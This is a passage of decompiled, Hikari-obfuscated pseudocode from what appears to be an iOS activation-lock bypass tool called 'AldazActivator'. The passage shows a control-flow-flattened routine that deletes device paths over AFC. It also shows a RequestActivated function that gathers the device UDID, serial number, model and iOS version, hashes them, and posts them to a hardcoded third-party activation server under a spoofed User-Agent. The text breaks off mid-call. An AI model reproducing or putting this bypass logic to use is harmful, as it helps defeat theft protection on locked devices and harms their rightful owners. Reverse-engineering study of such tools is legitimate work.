case -401849580:
v4 = 1;
v2 = -188696108;
LABEL_252:
v10 = -1903466553;
LABEL_253:
if ( !v4 )
v2 = v10;
goto LABEL_255;
}
}
}
else if ( v29 <= -112145730 )
{
switch ( v29 )
{
case -188696108:
v4 = 1;
v2 = 971315946;
goto LABEL_252;
case -184834001:
v14 = 253314542;
if ( !a1 )
v14 = -1572916782;
*v49 = v14;
v25 = 0;
break;
case -143897832:
AFCDirectoryClose(a1, v24);
*v49 = -1203778358;
break;
}
}
else if ( v29 > 23657067 )
{
if ( v29 == 23657068 )
goto LABEL_174;
if ( v29 == 36669534 )
*v49 = 57674009;
}
else if ( v29 == -112145729 )
{
*v49 = 1325269370;
}
else if ( v29 == -70552670 )
{
v1 = 0;
v2 = 1564655473;
v3 = -1671659847;
goto LABEL_228;
}
}
if ( v29 <= 1123120973 )
break;
if ( v29 <= 1731978056 )
{
if ( v29 > 1538951235 )
{
if ( v29 > 1564655472 )
{
switch ( v29 )
{
case 1564655473:
v6 = 0;
v38 = v36 && v37;
v2 = 1564655473;
v7 = 1826308808;
goto LABEL_239;
case 1611606347:
v1 = 0;
v2 = -263168263;
v3 = -289995961;
goto LABEL_228;
case 1612031155:
v2 = 258457557;
goto LABEL_255;
}
}
else
{
switch ( v29 )
{
case 1538951236:
v18 = v34 + 1;
*v49 = -943736539;
break;
case 1543000320:
*v49 = 1094156414;
break;
case 1555274516:
v5 = 243146909;
if ( v45 )
v5 = 698230919;
*v49 = v5;
v26 = v23;
break;
}
}
}
else if ( v29 > 1325269369 )
{
switch ( v29 )
{
case 1325269370:
v46 = v22 == 2;
v21 = v22 + 1;
*v49 = 183216709;
break;
case 1500668391:
HikariFunctionWrapper_18175(a1);
*v49 = -1491591343;
break;
case 1503320814:
LABEL_174:
*v49 = 36669534;
break;
}
}
else
{
switch ( v29 )
{
case 1123120974:
v40 = *v18 == 0;
v1 = 0;
v2 = 1146014714;
goto LABEL_227;
case 1146014714:
*v49 = -1985490459;
break;
case 1234943977:
*v49 = -1210186534;
break;
}
}
}
else if ( v29 <= 1880328955 )
{
if ( v29 > 1826308807 )
{
switch ( v29 )
{
case 1826308808:
v12 = 243146909;
if ( v38 )
v12 = 698230919;
*v49 = v12;
v26 = v17;
break;
case 1841410291:
goto LABEL_173;
case 1877003854:
byte_100284B43 = v47 ^ 0x2E;
*v49 = -1134808545;
break;
}
}
else
{
switch ( v29 )
{
case 1731978057:
v2 = 175521517;
goto LABEL_255;
case 1768431863:
*v49 = 1075435205;
break;
case 1783211151:
*v49 = 934961975;
break;
}
}
}
else if ( v29 <= 2015392186 )
{
switch ( v29 )
{
case 1880328956:
*v49 = -1489497322;
break;
case 1896612434:
v43 = *v20 == 0;
*v49 = 350656531;
break;
case 1939401961:
*v49 = 1123120974;
break;
}
}
else if ( v29 > 2130325054 )
{
if ( v29 == 2130325055 )
{
v4 = 1;
v2 = -848729437;
v10 = 838539922;
goto LABEL_253;
}
if ( v29 == 2147181490 )
{
v39 = *v34 == 46;
v4 = 0;
v2 = -1094602199;
v10 = -1379546281;
goto LABEL_253;
}
}
else
{
if ( v29 == 2015392187 )
{
v4 = 1;
v2 = 623442277;
v10 = -1719607985;
goto LABEL_253;
}
if ( v29 == 2026318755 )
*v49 = 1503320814;
}
}
if ( v29 > 660735780 )
break;
if ( v29 > 258457556 )
{
if ( v29 > 385941896 )
{
switch ( v29 )
{
case 385941897:
snprintf(__str, 0x200u, asc_100284B40, v31, v34);
v6 = 0;
v2 = 307984161;
v7 = 1783211151;
goto LABEL_239;
case 400514580:
v1 = 0;
v2 = -1489497322;
v3 = 1880328956;
goto LABEL_228;
case 623442277:
v4 = 0;
v41 = *v19;
v2 = -1719607985;
v10 = 1543000320;
goto LABEL_253;
}
}
else
{
switch ( v29 )
{
case 258457557:
v19 = v34 + 1;
v2 = -1141863625;
goto LABEL_255;
case 307984161:
HikariFunctionWrapper_18177(__str, 0x200u, asc_100284B40);
*v49 = 385941897;
break;
case 350656531:
v2 = -1765108271;
goto LABEL_255;
}
}
}
else if ( v29 > 183216708 )
{
switch ( v29 )
{
case 183216709:
*v49 = -1405433179;
break;
case 243146909:
v24 = *v32;
*v49 = 799637695;
break;
case 253314542:
v22 = v25;
v31 = off_10025B630[v25];
*v32 = 0;
v8 = HikariFunctionWrapper_18173(a1);
v9 = 400514580;
if ( *v32 )
v9 = -401849580;
v16[1] = *v32;
if ( v8 )
v9 = 400514580;
*v49 = v9;
break;
}
}
else
{
switch ( v29 )
{
case 57674009:
v6 = !v35;
v2 = -1058234159;
v7 = -1552111769;
goto LABEL_239;
case 148651963:
*v49 = 175521517;
break;
case 175521517:
v35 = v28 == 0;
v1 = 1;
v2 = 148651963;
v3 = 2026318755;
goto LABEL_228;
}
}
}
if ( v29 > 838539921 )
break;
if ( v29 > 698230918 )
{
switch ( v29 )
{
case 698230919:
v34 = v26;
v2 = 2147181490;
goto LABEL_255;
case 775160009:
v1 = 1;
v28 = dword_10029F5D4;
v2 = 775160009;
v3 = -1649850515;
goto LABEL_228;
case 799637695:
v6 = 0;
v2 = -143897832;
v7 = -1203778358;
goto LABEL_239;
}
}
else
{
switch ( v29 )
{
case 660735781:
v45 = v44 && v23 != 0;
*v49 = 1555274516;
break;
case 671248157:
*v49 = 258457557;
break;
case 682612289:
*v49 = -1765108271;
break;
}
}
}
if ( v29 > 1001574673 )
break;
switch ( v29 )
{
case 838539922:
*v49 = -848729437;
break;
case 934961975:
AFCRemovePath(a1, __str);
*v49 = -1991161857;
break;
case 971315946:
*v49 = -1872692544;
break;
}
}
if ( v29 <= 1075435204 )
break;
if ( v29 == 1075435205 )
{
v4 = 1;
v2 = 1027996495;
v10 = 1075435205;
goto LABEL_253;
}
if ( v29 == 1094156414 )
LABEL_173:
*v49 = -1751035055;
}
if ( v29 != 1001574674 )
break;
*v49 = -490979994;
}
}
while ( v29 != 1027996495 );
return -1;
}
// 1002560FC: using guessed type __int64 __fastcall AFCDirectoryClose(_QWORD, _QWORD);
// 100256108: using guessed type __int64 __fastcall AFCDirectoryRead(_QWORD);
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
// 10025B630: using guessed type char *off_10025B630[3];
// 100283154: using guessed type char byte_100283154;
// 100284B27: using guessed type char byte_100284B27;
// 100284B28: using guessed type char byte_100284B28;
// 100284B29: using guessed type char byte_100284B29;
// 100284B2A: using guessed type char byte_100284B2A;
// 100284B2B: using guessed type char byte_100284B2B;
// 100284B2C: using guessed type char byte_100284B2C;
// 100284B2D: using guessed type char byte_100284B2D;
// 100284B34: using guessed type char byte_100284B34;
// 100284B35: using guessed type char byte_100284B35;
// 100284B36: using guessed type char byte_100284B36;
// 100284B37: using guessed type char byte_100284B37;
// 100284B38: using guessed type char byte_100284B38;
// 100284B39: using guessed type char byte_100284B39;
// 100284B41: using guessed type char byte_100284B41;
// 100284B42: using guessed type char byte_100284B42;
// 100284B43: using guessed type char byte_100284B43;
// 100284B44: using guessed type char byte_100284B44;
// 100284B45: using guessed type char byte_100284B45;
// 10029F5D4: using guessed type int dword_10029F5D4;
//----- (000000010016EB09) ----------------------------------------------------
id RequestActivated()
{
bool v0; // zf
int v1; // eax
int v2; // ecx
char v3; // cf
int v4; // ecx
char v5; // cf
int v6; // ecx
NSString *v7; // rax
NSString *v8; // rbx
NSString *v9; // rax
NSString *v10; // r13
NSString *v11; // rax
NSString *v12; // r14
id v13; // rax
id v14; // r12
id v15; // rax
NSURL *v16; // rax
NSURL *v17; // rax
NSMutableURLRequest *v18; // rax
NSMutableURLRequest *v19; // rbx
NSString *v20; // rax
id *v21; // rbx
NSString *v22; // rax
NSString *v23; // r13
id *v24; // r14
id v25; // rax
id v26; // rbx
id *v27; // r12
id v28; // rax
id v29; // r14
id *v30; // r15
NSString *v31; // rax
NSString *v32; // r12
NSDictionary *v33; // rax
NSDictionary *v34; // r15
NSData *v35; // rax
id v36; // rax
id v37; // rax
id v38; // rax
NSString *v39; // rax
NSString *v40; // r12
id v41; // rax
id v42; // r13
id v43; // rax
id v44; // rbx
id v45; // rax
id v46; // r14
id v47; // rax
NSURL *v48; // rax
NSMutableURLRequest *v49; // rax
NSString *v50; // rax
id *v51; // rbx
NSString *v52; // rax
id *v53; // rbx
id v54; // rax
id v55; // r13
id *v56; // rbx
NSString *v57; // rax
NSString *v58; // r14
id *v59; // r12
id v60; // rax
id v61; // rbx
id v62; // rax
id v63; // rax
NSString *v64; // rax
id v65; // rax
id v66; // rax
id v67; // rax
id v68; // rax
id v69; // rax
id v70; // rax
id v71; // rax
id v72; // rax
_QWORD v74[2]; // [rsp-10h] [rbp-170h] BYREF
__CFString *v75; // [rsp+0h] [rbp-160h] BYREF
__CFString *v76; // [rsp+8h] [rbp-158h]
id v77; // [rsp+10h] [rbp-150h]
id v78; // [rsp+18h] [rbp-148h]
SEL v79; // [rsp+20h] [rbp-140h]
id v80; // [rsp+28h] [rbp-138h]
SEL v81; // [rsp+30h] [rbp-130h]
SEL v82; // [rsp+38h] [rbp-128h]
id v83; // [rsp+40h] [rbp-120h]
SEL v84; // [rsp+48h] [rbp-118h]
id v85; // [rsp+50h] [rbp-110h]
id v86; // [rsp+58h] [rbp-108h]
__CFString *v87; // [rsp+60h] [rbp-100h]
id v88; // [rsp+68h] [rbp-F8h]
int v89; // [rsp+70h] [rbp-F0h]
int v90; // [rsp+74h] [rbp-ECh] BYREF
id v91; // [rsp+78h] [rbp-E8h]
id v92; // [rsp+80h] [rbp-E0h]
id v93; // [rsp+88h] [rbp-D8h]
SEL v94; // [rsp+90h] [rbp-D0h]
__CFString *v95; // [rsp+98h] [rbp-C8h]
id v96; // [rsp+A0h] [rbp-C0h]
id v97; // [rsp+A8h] [rbp-B8h]
id v98; // [rsp+B0h] [rbp-B0h]
id v99; // [rsp+B8h] [rbp-A8h]
id v100; // [rsp+C0h] [rbp-A0h]
id v101; // [rsp+C8h] [rbp-98h]
id v102; // [rsp+D0h] [rbp-90h]
id v103; // [rsp+D8h] [rbp-88h]
id v104; // [rsp+E0h] [rbp-80h]
id v105; // [rsp+E8h] [rbp-78h]
id *v106; // [rsp+F0h] [rbp-70h]
id *v107; // [rsp+F8h] [rbp-68h]
id *v108; // [rsp+100h] [rbp-60h]
id v109; // [rsp+108h] [rbp-58h]
id *v110; // [rsp+110h] [rbp-50h]
id *v111; // [rsp+118h] [rbp-48h]
bool v112; // [rsp+122h] [rbp-3Eh]
bool v113; // [rsp+123h] [rbp-3Dh]
bool v114; // [rsp+124h] [rbp-3Ch]
bool v115; // [rsp+125h] [rbp-3Bh]
char v116; // [rsp+126h] [rbp-3Ah]
char v117; // [rsp+127h] [rbp-39h]
int *v118; // [rsp+128h] [rbp-38h]
__int64 v119; // [rsp+130h] [rbp-30h]
v119 = -1;
v89 = dword_10029F5D8;
v90 = 487612477;
v118 = &v90;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v90 <= 124697213 )
{
if ( v90 > -764801848 )
{
if ( v90 <= -361970009 )
{
if ( v90 > -616099950 )
{
if ( v90 > -463315318 )
{
switch ( v90 )
{
case -463315317:
*v118 = -2031945954;
break;
case -422481508:
v0 = !v113;
v1 = 1517602702;
v2 = -1156533868;
goto LABEL_237;
case -416844951:
NSLog(CFSTR("\x0E\x1F\xE2\x40\x3Fx\x96\x02Ç\xDD\x16\xC4\xC5\x0E\x86\xBB·̏=>\x18"), v93);
v3 = 1;
v1 = 1316392650;
v4 = 1653531056;
goto LABEL_242;
}
}
else
{
switch ( v90 )
{
case -616099949:
v0 = 0;
v82 = "setHTTPBody:";
v1 = -616099949;
v2 = 1824158252;
LABEL_237:
if ( !v0 )
v1 = v2;
goto LABEL_246;
case -527727534:
*v118 = 1777805573;
break;
case -481061563:
v0 = 0;
v1 = 1348202918;
v2 = -783178613;
goto LABEL_237;
}
}
}
else if ( v90 > -711678675 )
{
switch ( v90 )
{
case -711678674:
dword_10029F5D8 = 1;
v110 = (id *)&v75;
v3 = 1;
v111 = (id *)(&v75 - 6);
v1 = 266549452;
v4 = 1354558548;
goto LABEL_242;
case -676297942:
*v118 = -147469933;
break;
case -639530547:
*v118 = 907137694;
break;
}
}
else
{
switch ( v90 )
{
case -764801847:
v5 = 0;
v1 = 1850020895;
v6 = 1210541078;
goto LABEL_233;
case -720142827:
v71 = HikariFunctionWrapper_18207(v102, "localizedDescription");
objc_retainAutoreleasedReturnValue(v71);
*v118 = -357727982;
break;
case -719096247:
v0 = 0;
v1 = 567960679;
v2 = -196871066;
goto LABEL_237;
}
}
}
else if ( v90 <= -196871067 )
{
if ( v90 > -341965528 )
{
switch ( v90 )
{
case -341965527:
v5 = 1;
v1 = -195833659;
v6 = 946420575;
goto LABEL_233;
case -339151681:
*v118 = 968941186;
break;
case -207915490:
v0 = 0;
v1 = 1335529243;
v2 = 1987604111;
goto LABEL_237;
}
}
else
{
switch ( v90 )
{
case -361970008:
NSLog(CFSTR("L\x05wi9Z}5K\xAE5\xF9';\x95F"), v85);
v3 = 0;
v1 = -2030949652;
v4 = -361970008;
goto LABEL_242;
case -357727982:
v65 = objc_msgSend(v102, "localizedDescription");
v66 = objc_retainAutoreleasedReturnValue(v65);
v5 = 1;
v103 = v66;
v1 = -339151681;
v6 = -720142827;
goto LABEL_233;
case -354137420:
*v118 = -527727534;
break;
}
}
}
else if ( v90 <= -147469934 )
{
switch ( v90 )
{
case -196871066:
v69 = HikariFunctionWrapper_18197(v105, v94);
v3 = 0;
v85 = v69;
v1 = -2021167360;
v4 = -196871066;
goto LABEL_242;
case -195833659:
v5 = 1;
v94 = "statusCode";
v1 = 475441500;
v6 = -195833659;
goto LABEL_233;
case -176259179:
v106 = (id *)v74;
v107 = (id *)v74;
v108 = (id *)v74;
v77 = AldazDevClass;
v78 = &OBJC_CLASS___NSString;
v79 = "SerialNumber";
v37 = HikariFunctionWrapper_18179(&OBJC_CLASS___iOSDevice, "SerialNumber");
v38 = objc_retainAutoreleasedReturnValue(v37);
v5 = 1;
v99 = v38;
v1 = 1678393337;
v6 = -176259179;
goto LABEL_233;
}
}
else if ( v90 > 49861768 )
{
if ( v90 == 49861769 )
{
*v118 = -1469015440;
}
else if ( v90 == 52367765 )
{
v96 = v87;
v88 = v86;
v1 = -1147375962;
goto LABEL_246;
}
}
else
{
if ( v90 == -147469933 )
{
v0 = 0;
v1 = -1288910753;
v2 = 364661356;
goto LABEL_237;
}
if ( v90 == -127529416 )
{
v0 = !v112;
v1 = -1866863750;
v2 = 868039479;
goto LABEL_237;
}
}
}
else if ( v90 <= -1501537694 )
{
if ( v90 > -1999449820 )
{
if ( v90 > -1695616274 )
{
switch ( v90 )
{
case -1695616273:
v83 = HikariFunctionWrapper_18195((objc_class *)&OBJC_CLASS___NSString);
v84 = "initWithData:encoding:";
v1 = 1079896534;
goto LABEL_246;
case -1692999576:
*v118 = 124697214;
break;
case -1665659866:
objc_release(v101);
objc_release(v105);
v5 = 0;
v1 = 1622037242;
v6 = -844730945;
goto LABEL_233;
}
}
else
{
switch ( v90 )
{
case -1999449819:
v5 = 0;
v1 = 283514080;
v6 = 1780824675;
LABEL_233:
if ( !v5 )
v1 = v6;
LABEL_246:
*v118 = v1;
break;
case -1900569520:
v72 = objc_msgSend(v104, v81);
objc_retainAutoreleasedReturnValue(v72);
*v118 = 1811877106;
break;
case -1866863750:
LABEL_180:
*v118 = -711678674;
break;
}
}
}
else if ( v90 > -2031945955 )
{
switch ( v90 )
{
case -2031945954:
*v118 = 651245854;
v95 = v75;
break;
case -2030949652:
*v118 = 1024266932;
break;
case -2021167360:
*v118 = -1259118450;
break;
}
}
else
{
switch ( v90 )
{
case -2136714778:
v115 = objc_msgSend(v105, v94) == (id)200;
*v118 = -207915490;
break;
case -2067284009:
v3 = 0;
v1 = -1469015440;
goto LABEL_222;
case -2053851931:
*v118 = -1159302344;
break;
}
}
}
else if ( v90 <= -1159302345 )
{
if ( v90 > -1288910754 )
{
switch ( v90 )
{
case -1288910753:
asc_100284BF0[22] = v117;
asc_100284BF0[23] = 0;
strcpy(aA_21, "%@-%@-%@-%@");
strcpy(a05k, "HTTP Request Failed");
strcpy(asc_100284B70, "Failed to create JSON payload");
*v118 = 364661356;
break;
case -1259118450:
v1 = -361970008;
goto LABEL_246;
case -1204962270:
v5 = 1;
v1 = -1695616273;
v6 = -1501537693;
goto LABEL_233;
}
}
else
{
switch ( v90 )
{
case -1501537693:
objc_alloc((Class)&OBJC_CLASS___NSString);
*v118 = -1695616273;
break;
case -1469015440:
v3 = 0;
v1 = 539393057;
LABEL_222:
v4 = 49861769;
goto LABEL_242;
case -1333314727:
v3 = 1;
v1 = -1132636746;
v4 = 2061989995;
goto LABEL_242;
}
}
}
else if ( v90 <= -1132636747 )
{
switch ( v90 )
{
case -1159302344:
v0 = 0;
v1 = -1159302344;
v2 = -127529416;
goto LABEL_237;
case -1156533868:
v1 = -616099949;
goto LABEL_246;
case -1147375962:
objc_release(v88);
objc_release(v100);
objc_release(v104);
objc_release(v92);
objc_release(v109);
objc_release(v80);
objc_release(v91);
objc_autoreleaseReturnValue(v96);
v1 = 453581020;
goto LABEL_246;
}
}
else if ( v90 > -844730946 )
{
if ( v90 == -844730945 )
{
*v118 = 52367765;
v86 = v102;
v87 = v76;
}
else if ( v90 == -783178613 )
{
asc_100284D60[22] = v116;
asc_100284D60[23] = 117;
asc_100284D60[24] = 101;
asc_100284D60[25] = 115;
asc_100284D60[26] = 116;
asc_100284D60[27] = 0;
asc_10028471E[0] = 80;
asc_10028471E[1] = 79;
asc_10028471E[2] = 83;
asc_10028471E[3] = 84;
asc_10028471E[4] = 0;
strcpy(a3_6, "Error making HTTP request: %@");
strcpy(asc_100284CD0, "https://itunes.ialdaz-activator.com/API/AldazDevA12/amdeviceactivate.php");
strcpy(aN_24, "AldazActivator/2.0 (Platform; OS) MobileDevice/5.0");
asc_100284C75[0] = 117;
asc_100284C75[1] = 100;
asc_100284C75[2] = 105;
asc_100284C75[3] = 100;
asc_100284C75[4] = 0;
strcpy(asc_100284DA0, "application/json");
strcpy(asc_100284C55, "product_type");
strcpy(asc_100284C3D, "OS_version");
strcpy(aC_15, "Content-Type");
aI_8[0] = 115;
aI_8[1] = 101;
aI_8[2] = 114;
aI_8[3] = 105;
aI_8[4] = 97;
aI_8[5] = 108;
aI_8[6] = 0;
strcpy(aLWi9z5k, "HTTP Error: %ld");
strcpy(asc_1002845FB, "User-Agent");
asc_100284C0D[0] = 104;
asc_100284C0D[1] = 97;
asc_100284C0D[2] = 115;
asc_100284C0D[3] = 104;
asc_100284C0D[4] = 0;
qmemcpy(asc_100284BF0, "Error creating JSON: %", 22);
v117 = 64;
v1 = -676297942;
goto LABEL_246;
}
}
else if ( v90 == -1132636746 )
{
objc_msgSend(v83, v84, v101, 4);
*v118 = 2061989995;
}
else if ( v90 == -977156112 )
{
HikariFunctionWrapper_18211(CFSTR("L\x05wi9Z}5K\xAE5\xF9';\x95F"));
*v118 = -361970008;
}
}
if ( v90 <= 1024266931 )
break;
if ( v90 <= 1653531055 )
{
if ( v90 > 1335529242 )
{
if ( v90 > 1517602701 )
{
switch ( v90 )
{
case 1517602702:
v5 = 1;
v1 = 907137694;
v6 = -639530547;
goto LABEL_233;
case 1559621178:
*v118 = 1027651622;
break;
case 1622037242:
objc_release(v101);
objc_release(v105);
*v118 = -1665659866;
break;
}
}
else
{
switch ( v90 )
{
case 1335529243:
*v118 = 1987604111;
break;
case 1348202918:
asc_100284D60[22] = v116;
asc_100284D60[23] = 117;
asc_100284D60[24] = 101;
asc_100284D60[25] = 115;
asc_100284D60[26] = 116;
asc_100284D60[27] = 0;
asc_10028471E[0] = 80;
asc_10028471E[1] = 79;
asc_10028471E[2] = 83;
asc_10028471E[3] = 84;
asc_10028471E[4] = 0;
strcpy(a3_6, "Error making HTTP request: %@");
strcpy(
asc_100284CD0,
"https://itunes.ialdaz-activator.com/API/AldazDevA12/amdeviceactivate.php");
strcpy(aN_24, "AldazActivator/2.0 (Platform; OS) MobileDevice/5.0");
asc_100284C75[0] = 117;
asc_100284C75[1] = 100;
asc_100284C75[2] = 105;
asc_100284C75[3] = 100;
asc_100284C75[4] = 0;
strcpy(asc_100284DA0, "application/json");
strcpy(asc_100284C55, "product_type");
strcpy(asc_100284C3D, "OS_version");
strcpy(aC_15, "Content-Type");
aI_8[0] = 115;
aI_8[1] = 101;
aI_8[2] = 114;
aI_8[3] = 105;
aI_8[4] = 97;
aI_8[5] = 108;
aI_8[6] = 0;
strcpy(aLWi9z5k, "HTTP Error: %ld");
strcpy(asc_1002845FB, "User-Agent");
asc_100284C0D[0] = 104;
asc_100284C0D[1] = 97;
asc_100284C0D[2] = 115;
asc_100284C0D[3] = 104;
asc_100284C0D[4] = 0;
qmemcpy(asc_100284BF0, "Error creating JSON: %", 22);
*v118 = -783178613;
break;
case 1354558548:
*v118 = 568014183;
break;
}
}
}
else if ( v90 > 1210541077 )
{
switch ( v90 )
{
case 1210541078:
*v107 = 0;
*v108 = 0;
v70 = HikariFunctionWrapper_18193(
&OBJC_CLASS___NSURLConnection,
"sendSynchronousRequest:returningResponse:error:");
v101 = objc_retainAutoreleasedReturnValue(v70);
v105 = *v107;
objc_retain(v105);
v102 = *v108;
objc_retain(v102);
v114 = v102 == 0;
v5 = 0;
v1 = 1850020895;
v6 = 147249918;
goto LABEL_233;
case 1226683604:
*v118 = -764801847;
break;
case 1316392650:
NSLog(CFSTR("\x0E\x1F\xE2\x40\x3Fx\x96\x02Ç\xDD\x16\xC4\xC5\x0E\x86\xBB·̏=>\x18"), v93);
*v118 = -416844951;
break;
}
}
else
{
switch ( v90 )
{
case 1024266932:
v5 = 1;
v1 = -527727534;
v6 = -354137420;
goto LABEL_233;
case 1027651622:
v5 = 1;
v1 = -416844951;
v6 = 1316392650;
goto LABEL_233;
case 1079896534:
*v118 = -1333314727;
break;
}
}
}
else if ( v90 <= 1811877105 )
{
if ( v90 > 1777805572 )
{
switch ( v90 )
{
case 1777805573:
*v118 = 651245854;
v95 = CFSTR("05k\xC5\x7F\x16\xAD\xA5\x1FzW\xFD\xA0b\xC6\x38E\x0F\xAC`");
break;
case 1780824675:
objc_msgSend(v109, v82, v100);
v1 = 1226683604;
goto LABEL_246;
case 1796118817:
v7 = +[iOSDevice UDID](&OBJC_CLASS___iOSDevice, "UDID");
v8 = objc_retainAutoreleasedReturnValue(v7);
v9 = +[iOSDevice ProductType](&OBJC_CLASS___iOSDevice, "ProductType");
v10 = objc_retainAutoreleasedReturnValue(v9);
v11 = +[iOSDevice iOSVersion](&OBJC_CLASS___iOSDevice, "iOSVersion");
v12 = objc_retainAutoreleasedReturnValue(v11);
v74[0] = v12;
v13 = HikariFunctionWrapper_18199(v78, "stringWithFormat:");
v14 = objc_retainAutoreleasedReturnValue(v13);
v15 = HikariFunctionWrapper_18201(v77, "hasher:");
v97 = objc_retainAutoreleasedReturnValue(v15);
objc_release(v14);
objc_release(v12);
objc_release(v10);
objc_release(v8);
objc_release(v99);
v16 = +[NSURL URLWithString:](
&OBJC_CLASS___NSURL,
"URLWithString:",
CFSTR("\xBE#}F\xD7\x58\xC4\xF8\xAF\xA7O\xD4\x15\x1A\xCA\xDA\x03\xB8\xE2\xBA\xD3\x8E\xD8\xFB\x980sZ\xAFrc͝q\xEA\x51\x4F\xA9\xFD\xE4\x13\x1E\xBF]\x86Ժ\x8A1\xC7\x11>&\xFBd\xF8K\xE9\xE6\xE68\x95C\a\x1Aà\xB3\xC0\xAB\x80\xFFl"));
v17 = objc_retainAutoreleasedReturnValue(v16);
v18 = +[NSMutableURLRequest requestWithURL:](
&OBJC_CLASS___NSMutableURLRequest,
"requestWithURL:",
v17);
v19 = objc_retainAutoreleasedReturnValue(v18);
-[NSMutableURLRequest setHTTPMethod:](v19, "setHTTPMethod:", CFSTR("\xB1\x0F`\xBEY"));
-[NSMutableURLRequest setValue:forHTTPHeaderField:](
v19,
"setValue:forHTTPHeaderField:",
CFSTR("\x18[\x8FM_\x98J\xB5\x93Gb\xB5\xAB$\x04\xFB&"),
CFSTR("c#\xD2\x4C\x1C9vQp\x83\x88\x1A"));
-[NSMutableURLRequest setValue:forHTTPHeaderField:](
v19,
"setValue:forHTTPHeaderField:",
CFSTR("N\x81\xE6\x16\x8Cy\xA5\xE8\xE0\x58I*\x01\x8B(tr;\x11\xE6\x28\xAB\x82\x81\xC6\xC4\xAFg\xC5\x2D(\x19\x8ER\xFD\xF0\xCF\xFA\x02IZ`\x11\bh\xBFO3Z\x8E"),
CFSTR("\xAF\u05CF\fy\xC1\x37\xB4\xB4K\x1E"));
*v111 = CFSTR("\xAD\xE7\x33\xB2");
v20 = +[iOSDevice UDID](&OBJC_CLASS___iOSDevice, "UDID");
v98 = objc_retainAutoreleasedReturnValue(v20);
*v110 = v98;
v111[1] = CFSTR("5D*\x8A=\xBF");
v21 = v110;
v22 = +[iOSDevice Model](&OBJC_CLASS___iOSDevice, "Model");
v23 = objc_retainAutoreleasedReturnValue(v22);
v21[1] = v23;
v111[2] = CFSTR("ĭ[\x83\xD5\xE9\xB2");
v24 = v110;
v25 = objc_msgSend(&OBJC_CLASS___iOSDevice, v79);
v26 = objc_retainAutoreleasedReturnValue(v25);
v24[2] = v26;
v111[3] = CFSTR("\xF4\x0B\xEF\xDD\xF3\x96\x18\xF9\x9F\xBC\x8Dؘ");
v27 = v110;
v28 = HikariFunctionWrapper_18203(&OBJC_CLASS___iOSDevice, "ProductType");
v29 = objc_retainAutoreleasedReturnValue(v28);
v27[3] = v29;
v111[4] = CFSTR("*\xFC\x8A\x04\x06\xBA\x82\xC4\x6B\xDB\xDE");
v30 = v110;
v31 = +[iOSDevice iOSVersion](&OBJC_CLASS___iOSDevice, "iOSVersion");
v32 = objc_retainAutoreleasedReturnValue(v31);
v30[4] = v32;
v111[5] = CFSTR("\xEA\x16\x58\x0F");
v110[5] = v97;
v33 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v110,
v111,
6);
v34 = objc_retainAutoreleasedReturnValue(v33);
objc_release(v32);
objc_release(v29);
objc_release(v26);
objc_release(v23);
objc_release(v98);
*v106 = 0;
v35 = +[NSJSONSerialization dataWithJSONObject:options:error:](
&OBJC_CLASS___NSJSONSerialization,
"dataWithJSONObject:options:error:",
v34,
0,
v106);
objc_retainAutoreleasedReturnValue(v35);
objc_retain(*v106);
*v118 = 2085420952;
break;
}
}
else
{
switch ( v90 )
{
case 1653531056:
*v118 = 52367765;
v86 = v93;
v87 = CFSTR("\xDC\xCC\x93\xA5\x9Cue\x80\x87=!`\r(\xA2k$U'\x10\xB4r\x1EF \x8F\xA9Ek\xAA");
break;
case 1678393337:
*v118 = 496223870;
break;
case 1747773972:
HikariFunctionWrapper_18209(CFSTR("3\uDD87\x8Fk\xC7\x58\xCE\xCDP?d\xA2\x173\xAE]P^kX\xE0\x53\x3E\"\xBEb_<"));
objc_release(v103);
*v118 = 170211618;
break;
}
}
}
else if ( v90 <= 1987604110 )
{
switch ( v90 )
{
case 1811877106:
v67 = HikariFunctionWrapper_18191(v104, v81);
v68 = objc_retainAutoreleasedReturnValue(v67);
v3 = 1;
v93 = v68;
v1 = -1900569520;
v4 = 1559621178;
goto LABEL_242;
case 1824158252:
*v118 = -1999449819;
break;
case 1850020895:
*v107 = 0;
*v108 = 0;
v36 = HikariFunctionWrapper_18205(
&OBJC_CLASS___NSURLConnection,
"sendSynchronousRequest:returningResponse:error:");
objc_retainAutoreleasedReturnValue(v36);
objc_retain(*v107);
objc_retain(*v108);
*v118 = 1210541078;
break;
}
}
else if ( v90 > 2061989994 )
{
if ( v90 == 2061989995 )
{
v75 = (__CFString *)objc_msgSend(v83, v84, v101, 4);
v1 = -463315317;
goto LABEL_246;
}
if ( v90 == 2085420952 )
{
v39 = +[iOSDevice UDID](&OBJC_CLASS___iOSDevice, "UDID");
v40 = objc_retainAutoreleasedReturnValue(v39);
v41 = HikariFunctionWrapper_18181(&OBJC_CLASS___iOSDevice, "ProductType");
v42 = objc_retainAutoreleasedReturnValue(v41);
v43 = HikariFunctionWrapper_18183(&OBJC_CLASS___iOSDevice, "iOSVersion");
v44 = objc_retainAutoreleasedReturnValue(v43);
v45 = objc_msgSend(
v78,
"stringWithFormat:",
CFSTR("\x1Aą.\xB97\x89--\xA5\xB0v"),
v99,
v40,
v42,
v44);
v46 = objc_retainAutoreleasedReturnValue(v45);
v47 = objc_msgSend(v77, "hasher:", v46);
v91 = objc_retainAutoreleasedReturnValue(v47);
objc_release(v46);
objc_release(v44);
objc_release(v42);
objc_release(v40);
objc_release(v99);
v48 = +[NSURL URLWithString:](
&OBJC_CLASS___NSURL,
"URLWithString:",
CFSTR("\xBE#}F\xD7\x58\xC4\xF8\xAF\xA7O\xD4\x15\x1A\xCA\xDA\x03\xB8\xE2\xBA\xD3\x8E\xD8\xFB\x980sZ\xAFrc͝q\xEA\x51\x4F\xA9\xFD\xE4\x13\x1E\xBF]\x86Ժ\x8A1\xC7\x11>&\xFBd\xF8K\xE9\xE6\xE68\x95C\a\x1Aà\xB3\xC0\xAB\x80\xFFl"));
v80 = objc_retainAutoreleasedReturnValue(v48);
v49 = +[NSMutableURLRequest requestWithURL:](
&OBJC_CLASS___NSMutableURLRequest,
"requestWithURL:",
v80);
v109 = objc_retainAutoreleasedReturnValue(v49);
objc_msgSend(v109, "setHTTPMethod:", CFSTR("\xB1\x0F`\xBEY"));
objc_msgSend(
v109,
"setValue:forHTTPHeaderField:",
CFSTR("\x18[\x8FM_\x98J\xB5\x93Gb\xB5\xAB$\x04\xFB&"),
